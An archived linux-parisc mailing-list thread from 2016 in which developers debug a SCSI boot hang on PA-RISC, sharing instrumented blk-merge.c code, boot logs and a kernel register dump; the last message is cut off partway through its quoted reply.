X-Trace: ger.gmane.org 1456001054 31970 80.91.229.3 (20 Feb 2016 20:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Feb 2016 20:44:14 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 20 21:44:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXENn-0000ym-UA
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Feb 2016 21:44:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759371AbcBTUoD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Feb 2016 15:44:03 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:35558 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1759367AbcBTUoC convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Feb 2016 15:44:02 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160220204400.NVPU15290.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 20 Feb 2016 15:44:00 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm02.bell.net
          with ESMTP
          id <20160220204400.YDQF18724.torspm02.bell.net@[192.168.2.10]>;
          Sat, 20 Feb 2016 15:44:00 -0500
In-Reply-To: <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.56C8D010.002E,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26468>

On 2016-02-20, at 3:13 PM, John David Anglin wrote:

> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
> 
>> WARNING: at block/blk-merge.c:454
> 
> With linux-image-4.4.0-1-parisc64-smp on c3740, the above warning is the last message I see.
> Kernel seems to hang at that point.  This is warning code:
> 
>        /*
>         * Something must have been wrong if the figured number of
>         * segment is bigger than number of req's physical segments
>         */
>        WARN_ON(nsegs > rq->nr_phys_segments);

On Sep. 12, 2015, I reported the following problem:

http://www.spinics.net/lists/linux-parisc/msg06327.html

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 22:59:08 +0100
Lines: 216
Approved: news@gmane.org
Message-ID: <56C8E1AC.3030409@gmx.de>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456005578 29036 80.91.229.3 (20 Feb 2016 21:59:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Feb 2016 21:59:38 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 20 22:59:29 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXFYm-000713-Pr
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Feb 2016 22:59:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759503AbcBTV7X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Feb 2016 16:59:23 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:59637 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752643AbcBTV7R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Feb 2016 16:59:17 -0500
Original-Received: from [192.168.20.60] ([92.203.24.221]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Lbujs-1a7mck3XoS-00jIBv; Sat, 20 Feb 2016 22:59:11
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net>
X-Provags-ID: V03:K0:x/hWvnIVVJSXfszRKdHiS3R5RerMf+YeuhD5iH6PUDRb/dWuTya
 cDBJ0E8WgJQHSHIz2Hqst+0DpDqnbD5QyjmDNy3N+jQ05tq5MFbt4jOnUU25Y1B+4QFS6tu
 wtBhHkzJ1EQQqoMWRbyJINPg4vRDQiOU8+J1gBZGhaiVvsTaTk1Obu/2XljxQZu8LalmttQ
 aJ0N+V3vJrDOFPBLaQy0Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NTN3NbPzUEA=:7naeJLqQzh4if3Sr21ccRO
 5CLi0VQLH145/wBrqIYxEvRAT5zwOfD/ezGooehN6Hdcy+QJIUMIcRtoPotMmNFyy087gCKDu
 HjrZn2W4Ngdi7Sy7xTtpx0c0KjM9L3rhyq98O3h51HF/j95+zNdb/VeK194kt25Gyoew3g8Zb
 eArTq+bWEpaZL8Di6VJWV8xIGQSx6cSbZbacPpVSKBY4PvIzBD18427Hqb4Hw8kPrKUHJiiop
 0Zne3ddjPOrr7wr65rYCX4e+EGHCgP2od94GBBggOkrIRY+0tGXUUMGB19DMmNsRK+45SsJWq
 zJgf2lhH3OeJooEKWmtQ2kPBO4gdIeqVOV4Nio8DdYkJi7Wj1RopOXVE2KkrrlzHu833SIjBA
 JIGk9GjjY5z8OW75j3MOz9sxbYQfcUsbCGVAF7748QMgWwGl+AQC9QizDz4ZxheYxPSPcckgm
 V9HdtqoBnakXKLyvOnccmb5P28BaVSLr99eEY6Ysg7SJGlMz1SF0qvhyB3c5YOFjAb5l355t9
 TaRcFRxxzcKJUVJ7XBIse+IAv5woNB82ejSbEynmnb03LDwfxBgzaOfikmSuFa1qtUUqLhZAm
 ugDj7hWfyym80tyzGw+R67FbvkBNjtL0o9O49HzTACxS6L5b186yIm5KGd94ia7lyhQUMEd81
 VGJkNGGhEHJQ1AnnHSMgnMSQg0BX8Y46AaVpC5pUvZutJnMY4Iu14XJ1F910x3rc0+5x/fyhR
 nAiHSwBZ48Se58ZGY9E1jEKflkdTiRyqta/lcoO/Eb09omQRrVHF/ZINRVgIlpCv+cyyEsFP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26469>

On 20.02.2016 21:43, John David Anglin wrote:
> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
> 
>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>
>>> WARNING: at block/blk-merge.c:454
>>
>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above warning is the last message I see.
>> Kernel seems to hang at that point.  This is warning code:
>>
>>        /*
>>         * Something must have been wrong if the figured number of
>>         * segment is bigger than number of req's physical segments
>>         */
>>        WARN_ON(nsegs > rq->nr_phys_segments);
> 
> On Sep. 12, 2015, I reported the following problem:
> 
> http://www.spinics.net/lists/linux-parisc/msg06327.html

The problem is still, that this bug can only be reproduced at every boot when then 
scsi drivers are built as modules (and in an initrd). I could never reproduce it when
I booted a kernel with built-in scsi drivers.

The bug seems to be triggered by(*nsegs)++ command in __blk_segment_map_sg() in block/blk-merge.c.
I'm testing with the 4.4.2 kernel from debian.
I modified __blk_segment_map_sg() like that:
static inline void
__blk_segment_map_sg(struct request_queue *q, struct bio_vec *bvec,
                     struct scatterlist *sglist, struct bio_vec *bvprv,
                     struct scatterlist **sg, int *nsegs, int *cluster)
{

        int nbytes = bvec->bv_len;

        if (*sg && *cluster) {
                if ((*sg)->length + nbytes > queue_max_segment_size(q))
                        goto new_segment;

                if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
                        goto new_segment;
                if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
                        goto new_segment;

                (*sg)->length += nbytes;
        } else {
new_segment:
                if (*sg && *cluster) {
                        printk("NEW SEGMENT sg = %p!!!\n", sg);
                        printk("__blk_segment_map_sg: length = %d, nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)->length + nbytes, queue_max_segment_size(q));
                        printk("__blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n", BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv, bvec) );
                }
                if (!*sg)
                        *sg = sglist;
                else {
                        /*
                         * If the driver previously mapped a shorter
                         * list, we could see a termination bit
                         * prematurely unless it fully inits the sg
                         * table on each mapping. We KNOW that there
                         * must be more entries here or the driver
                         * would be buggy, so force clear the
                         * termination bit to avoid doing a full
                         * sg_init_table() in drivers for each command.
                         */
                        sg_unmark_end(*sg);
                        *sg = sg_next(*sg);
                }

                sg_set_page(*sg, bvec->bv_page, nbytes, bvec->bv_offset);
                (*nsegs)++;
        }
        *bvprv = *bvec;
}

The boot log looks then like this:
[   43.044000] scsi_init_sgtable: count = 1, nents = 1
(there are lots of those before it!)
[   43.164000] scsi_init_sgtable: nr_phys_segments = 1
[   43.164000] scsi_init_sgtable: count = 1, nents = 1
[   43.280000] scsi_init_sgtable: nr_phys_segments = 1
[   43.280000] scsi_init_sgtable: count = 1, nents = 1
[   43.396000] scsi_init_sgtable: nr_phys_segments = 1
[   43.396000] scsi_init_sgtable: count = 1, nents = 1
[   43.512000] scsi_init_sgtable: nr_phys_segments = 1
[   43.512000] scsi_init_sgtable: count = 1, nents = 1
[   43.628000] scsi_init_sgtable: nr_phys_segments = 3
[   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
[   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
[   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   43.628000] scsi_init_sgtable: count = 3, nents = 3
[   44.224000] scsi_init_sgtable: nr_phys_segments = 1
[   44.224000] scsi_init_sgtable: count = 1, nents = 1
[   44.340000] scsi_init_sgtable: nr_phys_segments = 1
[   44.340000] scsi_init_sgtable: count = 1, nents = 1
[   44.456000] scsi_init_sgtable: nr_phys_segments = 7
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   44.456000] scsi_init_sgtable: count = 7, nents = 7
[   44.456000] timer_interrupt(CPU 0): delayed! cycles 4527081F rem C6C21  next/now 14E153306E/14E146C44D
[   46.116000] scsi_init_sgtable: nr_phys_segments = 7
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] NEW SEGMENT sg = 00000000bfca0f98!!!
[   46.116000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
[   46.116000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   46.116000] scsi_init_sgtable: count = 7, nents = 7
[   46.116000] timer_interrupt(CPU 0): delayed! cycles 453F0A77 rem 223089  next/now 152BB6286E/152B93F7E5
[   47.780000] scsi_init_sgtable: nr_phys_segments = 1
[   47.780000] scsi_init_sgtable: count = 1, nents = 1
[   47.896000] scsi_init_sgtable: nr_phys_segments = 6
[   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
[   47.896000] __blk_segment_map_sg: length = 61440, nbytes = 4096, sum = 65536 > 65536
[   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
[   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
[   47.896000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
[   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
[   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   47.896000] NEW SEGMENT sg = 000000007fa911e8!!!
[   47.896000] __blk_segment_map_sg: length = 8192, nbytes = 4096, sum = 12288 > 65536
[   47.896000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   47.896000] scsi_init_sgtable: count = 6, nents = 6
[   47.896000] timer_interrupt(CPU 0): delayed! cycles 3AB087E2 rem 23E4DE  next/now 1570BBD5EE/157097F110
[   49.324000] scsi_init_sgtable: nr_phys_segments = 1
[   49.324000] scsi_init_sgtable: count = 1, nents = 1
[   49.440000] scsi_init_sgtable: nr_phys_segments = 2
[   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
[   49.440000] __blk_segment_map_sg: length = 65536, nbytes = 4096, sum = 69632 > 65536

(this is interesting! Here we reach a sum of > 65536 the first time)

[   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1, BIOVEC_SEG_BOUNDARY = 1
[   49.440000] NEW SEGMENT sg = 000000007fa911e8!!!
[   49.440000] __blk_segment_map_sg: length = 16384, nbytes = 4096, sum = 20480 > 65536
[   49.440000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   49.440000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments = 3 > 2
[   49.440000] scsi_init_sgtable: count = 3, nents = 2
[   50.116000] ------------[ cut here ]------------
[   50.172000] WARNING: at /build/linux-4.4/linux-4.4.2/drivers/scsi/scsi_lib.c:1104

(this is usually a BUG(). I changed it to WARN() in the hope it would work anyway. It didn't.)

[   50.260000] Modules linked in: sd_mod sr_mod cdrom ata_generic ohci_pci ehci_pci ohci_hcd ehci_hcd pata_ns87415 sym53c8xx libata scsi_transport_spi scsi_mod usbcorep
[   50.456000] CPU: 0 PID: 70 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
[   50.564000] task: 000000007f948b28 ti: 000000007fa90000 task.ti: 000000007fa90000
[   50.652000] 
[   50.672000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   50.728000] PSW: 00001000000001001111100100001110 Not tainted
[   50.796000] r00-03  000000ff0804f90e 00000000409ea2e0 00000000003e2ee0 000000007fa91140
[   50.892000] r04-07  00000000003cd000 000000007f914300 000000007f914b10 0000000000000003
[   50.988000] r08-11  0000000000000000 000000007f918000 0000000040bdd6b0 00000000003cd800
[   51.084000] r12-15  0000000000000000 000000007fa90778 00000000003cd000 000000007f918000
[   51.180000] r16-19  0000000000001300 0000000040bdd6b8 0000000040bdd6bc 0000000040ba2420
[   51.276000] r20-23  0000000099116e92 0000000000000000 00000000000002a0 00000000000002ee
[   51.372000] r24-27  0000000000000000 000000000800000e 0000000040b60750 00000000409b3ae0
[   51.468000] r28-31  0000000000000002 000000007fa914f0 000000007fa911e0 0000000040ba2408
[   51.564000] sr00-03  0000000000015000 0000000000000000 0000000000000000 0000000000015000
[   51.660000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[   51.756000] 
[   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000003e2f24 00000000003e2f28
[   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000fea4691528
[   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31: 00000000ffff7dff
[   52.040000]  ORIG_R28: 0000000040b60718
[   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8 [scsi_mod]
[   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8 [scsi_mod]
[   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8 [scsi_mod]
[   52.292000] Backtrace:
[   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258 [scsi_mod]
[   52.396000]  [<000000000087d078>] sd_init_command+0x70/0xec8 [sd_mod]

In general I think the bug is somehow in blk-merge.c.
But I'm not an expert in that code.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sat, 20 Feb 2016 17:52:41 -0500
Lines: 228
Approved: news@gmane.org
Message-ID: <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456008777 21821 80.91.229.3 (20 Feb 2016 22:52:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Feb 2016 22:52:57 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 20 23:52:47 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXGOL-0002TK-Tp
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Feb 2016 23:52:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759622AbcBTWwp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Feb 2016 17:52:45 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:3812 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753035AbcBTWwo convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Feb 2016 17:52:44 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160220225242.OXOM15290.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 20 Feb 2016 17:52:42 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm01.bell.net
          with ESMTP
          id <20160220225242.LMWN24553.torspm01.bell.net@[192.168.2.10]>;
          Sat, 20 Feb 2016 17:52:42 -0500
In-Reply-To: <56C8E1AC.3030409@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.56C8EE3A.006F,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26470>

On 2016-02-20, at 4:59 PM, Helge Deller wrote:

> On 20.02.2016 21:43, John David Anglin wrote:
>> On 2016-02-20, at 3:13 PM, John David Anglin wrote:
>> 
>>> On 2016-01-23, at 1:00 PM, John David Anglin wrote:
>>> 
>>>> WARNING: at block/blk-merge.c:454
>>> 
>>> With linux-image-4.4.0-1-parisc64-smp on c3740, the above warning is the last message I see.
>>> Kernel seems to hang at that point.  This is warning code:
>>> 
>>>       /*
>>>        * Something must have been wrong if the figured number of
>>>        * segment is bigger than number of req's physical segments
>>>        */
>>>       WARN_ON(nsegs > rq->nr_phys_segments);
>> 
>> On Sep. 12, 2015, I reported the following problem:
>> 
>> http://www.spinics.net/lists/linux-parisc/msg06327.html
> 
> The problem is still, that this bug can only be reproduced at every boot when then 
> scsi drivers are built as modules (and in an initrd). I could never reproduce it when
> I booted a kernel with built-in scsi drivers.
> 
> The bug seems to be triggered by(*nsegs)++ command in __blk_segment_map_sg() in block/blk-merge.c.
> I'm testing with the 4.4.2 kernel from debian.
> I modified __blk_segment_map_sg() like that:
> static inline void
> __blk_segment_map_sg(struct request_queue *q, struct bio_vec *bvec,
>                     struct scatterlist *sglist, struct bio_vec *bvprv,
>                     struct scatterlist **sg, int *nsegs, int *cluster)
> {
> 
>        int nbytes = bvec->bv_len;
> 
>        if (*sg && *cluster) {
>                if ((*sg)->length + nbytes > queue_max_segment_size(q))
>                        goto new_segment;
> 
>                if (!BIOVEC_PHYS_MERGEABLE(bvprv, bvec))
>                        goto new_segment;
>                if (!BIOVEC_SEG_BOUNDARY(q, bvprv, bvec))
>                        goto new_segment;
> 
>                (*sg)->length += nbytes;
>        } else {
> new_segment:
>                if (*sg && *cluster) {
>                        printk("NEW SEGMENT sg = %p!!!\n", sg);
>                        printk("__blk_segment_map_sg: length = %d, nbytes = %d, sum = %d > %d\n", (*sg)->length, nbytes, (*sg)->length + nbytes, queue_max_segment_size(q));
>                        printk("__blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = %d, BIOVEC_SEG_BOUNDARY = %d\n", BIOVEC_PHYS_MERGEABLE(bvprv, bvec), BIOVEC_SEG_BOUNDARY(q, bvprv, bvec) );
>                }
>                if (!*sg)
>                        *sg = sglist;
>                else {
>                        /*
>                         * If the driver previously mapped a shorter
>                         * list, we could see a termination bit
>                         * prematurely unless it fully inits the sg
>                         * table on each mapping. We KNOW that there
>                         * must be more entries here or the driver
>                         * would be buggy, so force clear the
>                         * termination bit to avoid doing a full
>                         * sg_init_table() in drivers for each command.
>                         */
>                        sg_unmark_end(*sg);
>                        *sg = sg_next(*sg);
>                }
> 
>                sg_set_page(*sg, bvec->bv_page, nbytes, bvec->bv_offset);
>                (*nsegs)++;
>        }
>        *bvprv = *bvec;
> }
> 
> The boot log looks then like this:
> [   43.044000] scsi_init_sgtable: count = 1, nents = 1
> (there are lots of those before it!)
> [   43.164000] scsi_init_sgtable: nr_phys_segments = 1
> [   43.164000] scsi_init_sgtable: count = 1, nents = 1
> [   43.280000] scsi_init_sgtable: nr_phys_segments = 1
> [   43.280000] scsi_init_sgtable: count = 1, nents = 1
> [   43.396000] scsi_init_sgtable: nr_phys_segments = 1
> [   43.396000] scsi_init_sgtable: count = 1, nents = 1
> [   43.512000] scsi_init_sgtable: nr_phys_segments = 1
> [   43.512000] scsi_init_sgtable: count = 1, nents = 1
> [   43.628000] scsi_init_sgtable: nr_phys_segments = 3
> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   43.628000] NEW SEGMENT sg = 000000007fa911e8!!!
> [   43.628000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   43.628000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   43.628000] scsi_init_sgtable: count = 3, nents = 3
> [   44.224000] scsi_init_sgtable: nr_phys_segments = 1
> [   44.224000] scsi_init_sgtable: count = 1, nents = 1
> [   44.340000] scsi_init_sgtable: nr_phys_segments = 1
> [   44.340000] scsi_init_sgtable: count = 1, nents = 1
> [   44.456000] scsi_init_sgtable: nr_phys_segments = 7
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
> [   44.456000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
> [   44.456000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
> [   44.456000] NEW SEGMENT sg = 00000000bfca0f98!!!
